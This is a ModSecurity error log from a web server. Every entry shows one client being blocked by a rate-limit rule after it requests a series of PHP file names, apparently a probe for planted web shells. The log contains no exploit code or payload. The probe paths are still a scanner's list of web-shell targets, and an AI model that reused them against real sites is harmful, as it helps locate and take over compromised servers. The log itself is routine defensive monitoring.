[Mon Mar 02 02:19:35.827949 2026] [:error] [pid 53585:tid 53606] [client 20.220.232.240:43910] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aaSDN3bCvYsvu6kKhM3EbQAAABI"]
[Mon Mar 02 02:19:36.336554 2026] [:error] [pid 53585:tid 53607] [client 20.220.232.240:43763] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aaSDOHbCvYsvu6kKhM3EdAAAABM"]
[Mon Mar 02 02:19:37.086265 2026] [:error] [pid 53585:tid 53599] [client 20.220.232.240:43775] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aaSDOXbCvYsvu6kKhM3EdgAAAAs"]
[Mon Mar 02 02:19:37.612234 2026] [:error] [pid 26940:tid 26944] [client 20.220.232.240:43946] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aaSDORrUg-j5GLDtRFngkAAAAEA"]
[Mon Mar 02 02:19:38.281928 2026] [:error] [pid 53182:tid 53565] [client 20.220.232.240:43923] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaSDOvv073cA6eM1YCTpNgAAANU"]
[Mon Mar 02 02:19:38.912306 2026] [:error] [pid 26940:tid 26966] [client 20.220.232.240:43987] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaSDOhrUg-j5GLDtRFngngAAAFY"]
[Mon Mar 02 02:19:39.358246 2026] [:error] [pid 53182:tid 53564] [client 20.220.232.240:44021] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaSDO_v073cA6eM1YCTpOAAAANQ"]
[Mon Mar 02 02:19:39.849073 2026] [:error] [pid 53182:tid 53547] [client 20.220.232.240:44008] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaSDO_v073cA6eM1YCTpOwAAAMQ"]
[Mon Mar 02 02:19:40.644428 2026] [:error] [pid 53182:tid 53556] [client 20.220.232.240:43715] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rpk.php"] [unique_id "aaSDPPv073cA6eM1YCTpQgAAAMw"]
[Mon Mar 02 02:19:41.336121 2026] [:error] [pid 53585:tid 53592] [client 20.220.232.240:43998] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rpk.php"] [unique_id "aaSDPXbCvYsvu6kKhM3EiwAAAAQ"]
[Mon Mar 02 02:19:41.933824 2026] [:error] [pid 53182:tid 53568] [client 20.220.232.240:43875] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rpk.php"] [unique_id "aaSDPfv073cA6eM1YCTpSAAAANg"]
[Mon Mar 02 02:19:42.484500 2026] [:error] [pid 53585:tid 53599] [client 20.220.232.240:43920] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rpk.php"] [unique_id "aaSDPnbCvYsvu6kKhM3EkQAAAAs"]
[Mon Mar 02 02:19:43.378305 2026] [:error] [pid 53585:tid 53591] [client 20.220.232.240:43971] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aaSDP3bCvYsvu6kKhM3ElgAAAAM"]
[Mon Mar 02 02:19:44.235470 2026] [:error] [pid 53180:tid 53460] [client 20.220.232.240:44028] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aaSDQDPPJpDOBvYnaa1m_QAAAZA"]
[Mon Mar 02 02:19:44.816350 2026] [:error] [pid 53180:tid 53452] [client 20.220.232.240:43912] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aaSDQDPPJpDOBvYnaa1m_wAAAYg"]
[Mon Mar 02 02:19:45.453418 2026] [:error] [pid 26940:tid 26960] [client 20.220.232.240:44001] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aaSDQRrUg-j5GLDtRFngxwAAAFA"]
[Mon Mar 02 02:19:45.945013 2026] [:error] [pid 53181:tid 53523] [client 20.220.232.240:43703] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aaSDQYr_0T1SazTrJOBQNgAAAQg"]
[Mon Mar 02 02:19:46.697703 2026] [:error] [pid 26940:tid 26949] [client 20.220.232.240:44014] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aaSDQhrUg-j5GLDtRFngzQAAAEU"]
[Mon Mar 02 02:19:47.457987 2026] [:error] [pid 53180:tid 53461] [client 20.220.232.240:43695] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aaSDQzPPJpDOBvYnaa1nCAAAAZE"]
[Mon Mar 02 02:19:47.914303 2026] [:error] [pid 53182:tid 53567] [client 20.220.232.240:43652] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aaSDQ_v073cA6eM1YCTpTQAAANc"]
[Mon Mar 02 02:19:48.608132 2026] [:error] [pid 26940:tid 26955] [client 20.220.232.240:43924] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e.php"] [unique_id "aaSDRBrUg-j5GLDtRFng4QAAAEs"]
[Mon Mar 02 02:19:49.083877 2026] [:error] [pid 53585:tid 53588] [client 20.220.232.240:43846] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e.php"] [unique_id "aaSDRXbCvYsvu6kKhM3ErwAAAAA"]
[Mon Mar 02 02:19:49.733273 2026] [:error] [pid 26940:tid 26961] [client 20.220.232.240:43701] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e.php"] [unique_id "aaSDRRrUg-j5GLDtRFng7QAAAFE"]
[Mon Mar 02 02:19:50.462111 2026] [:error] [pid 26940:tid 26967] [client 20.220.232.240:43982] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e.php"] [unique_id "aaSDRhrUg-j5GLDtRFng8gAAAFc"]
[Mon Mar 02 02:19:51.097196 2026] [:error] [pid 26940:tid 26965] [client 20.220.232.240:43750] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaSDRxrUg-j5GLDtRFng-gAAAFU"]
[Mon Mar 02 02:19:51.753710 2026] [:error] [pid 53182:tid 53544] [client 20.220.232.240:43892] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaSDR_v073cA6eM1YCTpUAAAAME"]
[Mon Mar 02 02:19:52.359519 2026] [:error] [pid 53181:tid 53539] [client 20.220.232.240:43677] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaSDSIr_0T1SazTrJOBQQQAAARg"]
[Mon Mar 02 02:19:53.028968 2026] [:error] [pid 26940:tid 26953] [client 20.220.232.240:43765] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaSDSRrUg-j5GLDtRFnhDgAAAEk"]
[Mon Mar 02 02:19:53.698059 2026] [:error] [pid 53182:tid 53564] [client 20.220.232.240:43832] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "aaSDSfv073cA6eM1YCTpUgAAANQ"]
[Mon Mar 02 02:19:54.669576 2026] [:error] [pid 26940:tid 26961] [client 20.220.232.240:43667] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "aaSDShrUg-j5GLDtRFnhHwAAAFE"]
[Mon Mar 02 02:19:55.110121 2026] [:error] [pid 53182:tid 53555] [client 20.220.232.240:43666] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "aaSDS_v073cA6eM1YCTpVAAAAMs"]
[Mon Mar 02 02:19:55.693215 2026] [:error] [pid 26940:tid 26964] [client 20.220.232.240:43734] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "aaSDSxrUg-j5GLDtRFnhIgAAAFQ"]
[Mon Mar 02 02:19:56.338012 2026] [:error] [pid 26940:tid 26955] [client 20.220.232.240:43602] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aaSDTBrUg-j5GLDtRFnhJQAAAEs"]
[Mon Mar 02 02:19:56.822824 2026] [:error] [pid 26940:tid 26947] [client 20.220.232.240:44031] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aaSDTBrUg-j5GLDtRFnhJwAAAEM"]
[Mon Mar 02 02:19:57.310689 2026] [:error] [pid 53181:tid 53521] [client 20.220.232.240:43986] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aaSDTYr_0T1SazTrJOBQUAAAAQY"]
[Mon Mar 02 02:19:57.877252 2026] [:error] [pid 26940:tid 26967] [client 20.220.232.240:43969] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aaSDTRrUg-j5GLDtRFnhMQAAAFc"]
[Mon Mar 02 02:19:58.459111 2026] [:error] [pid 26940:tid 26955] [client 20.220.232.240:43659] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/get.php"] [unique_id "aaSDThrUg-j5GLDtRFnhOAAAAEs"]
[Mon Mar 02 02:19:59.172708 2026] [:error] [pid 26940:tid 26959] [client 20.220.232.240:44016] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/get.php"] [unique_id "aaSDTxrUg-j5GLDtRFnhPgAAAE8"]
[Mon Mar 02 02:19:59.742346 2026] [:error] [pid 26940:tid 26963] [client 20.220.232.240:43684] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/get.php"] [unique_id "aaSDTxrUg-j5GLDtRFnhQwAAAFM"]
[Mon Mar 02 02:20:00.577921 2026] [:error] [pid 26940:tid 26963] [client 20.220.232.240:43989] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/get.php"] [unique_id "aaSDUBrUg-j5GLDtRFnhSgAAAFM"]
[Mon Mar 02 02:20:01.193947 2026] [:error] [pid 26940:tid 26951] [client 20.220.232.240:44010] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaSDURrUg-j5GLDtRFnhUAAAAEc"]
[Mon Mar 02 02:20:01.879251 2026] [:error] [pid 53180:tid 53465] [client 20.220.232.240:43585] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaSDUTPPJpDOBvYnaa1nFAAAAZU"]
[Mon Mar 02 02:20:02.440861 2026] [:error] [pid 53585:tid 53602] [client 20.220.232.240:43629] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaSDUnbCvYsvu6kKhM3E1AAAAA4"]
[Mon Mar 02 02:20:02.981095 2026] [:error] [pid 26940:tid 26949] [client 20.220.232.240:43942] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaSDUhrUg-j5GLDtRFnhYgAAAEU"]
[Mon Mar 02 02:20:03.534152 2026] [:error] [pid 26940:tid 26945] [client 20.220.232.240:43928] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aaSDUxrUg-j5GLDtRFnhawAAAEE"]
[Mon Mar 02 02:20:04.174917 2026] [:error] [pid 53585:tid 53603] [client 20.220.232.240:43681] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aaSDVHbCvYsvu6kKhM3E2wAAAA8"]
[Mon Mar 02 02:20:04.791683 2026] [:error] [pid 53585:tid 53610] [client 20.220.232.240:44004] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aaSDVHbCvYsvu6kKhM3E3gAAABY"]
[Mon Mar 02 02:20:05.285839 2026] [:error] [pid 26940:tid 26964] [client 20.220.232.240:43911] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aaSDVRrUg-j5GLDtRFnhgwAAAFQ"]
[Mon Mar 02 02:20:05.810167 2026] [:error] [pid 53182:tid 53567] [client 20.220.232.240:43991] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaSDVfv073cA6eM1YCTpbgAAANc"]
[Mon Mar 02 02:20:06.316589 2026] [:error] [pid 26940:tid 26963] [client 20.220.232.240:43904] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaSDVhrUg-j5GLDtRFnhjgAAAFM"]
[Mon Mar 02 02:20:07.073305 2026] [:error] [pid 53181:tid 53538] [client 20.220.232.240:43589] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaSDV4r_0T1SazTrJOBQXAAAARc"]
[Mon Mar 02 02:20:07.744078 2026] [:error] [pid 53181:tid 53533] [client 20.220.232.240:43918] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaSDV4r_0T1SazTrJOBQXgAAARI"]
[Mon Mar 02 02:20:08.465561 2026] [:error] [pid 26940:tid 26944] [client 20.220.232.240:43865] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aaSDWBrUg-j5GLDtRFnhogAAAEA"]
[Mon Mar 02 02:20:09.015839 2026] [:error] [pid 26940:tid 26962] [client 20.220.232.240:43892] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aaSDWRrUg-j5GLDtRFnhpwAAAFI"]
[Mon Mar 02 02:20:09.766035 2026] [:error] [pid 26940:tid 26962] [client 20.220.232.240:43972] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aaSDWRrUg-j5GLDtRFnhtQAAAFI"]
[Mon Mar 02 02:20:10.336661 2026] [:error] [pid 53181:tid 53530] [client 20.220.232.240:43762] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aaSDWor_0T1SazTrJOBQXwAAAQ8"]
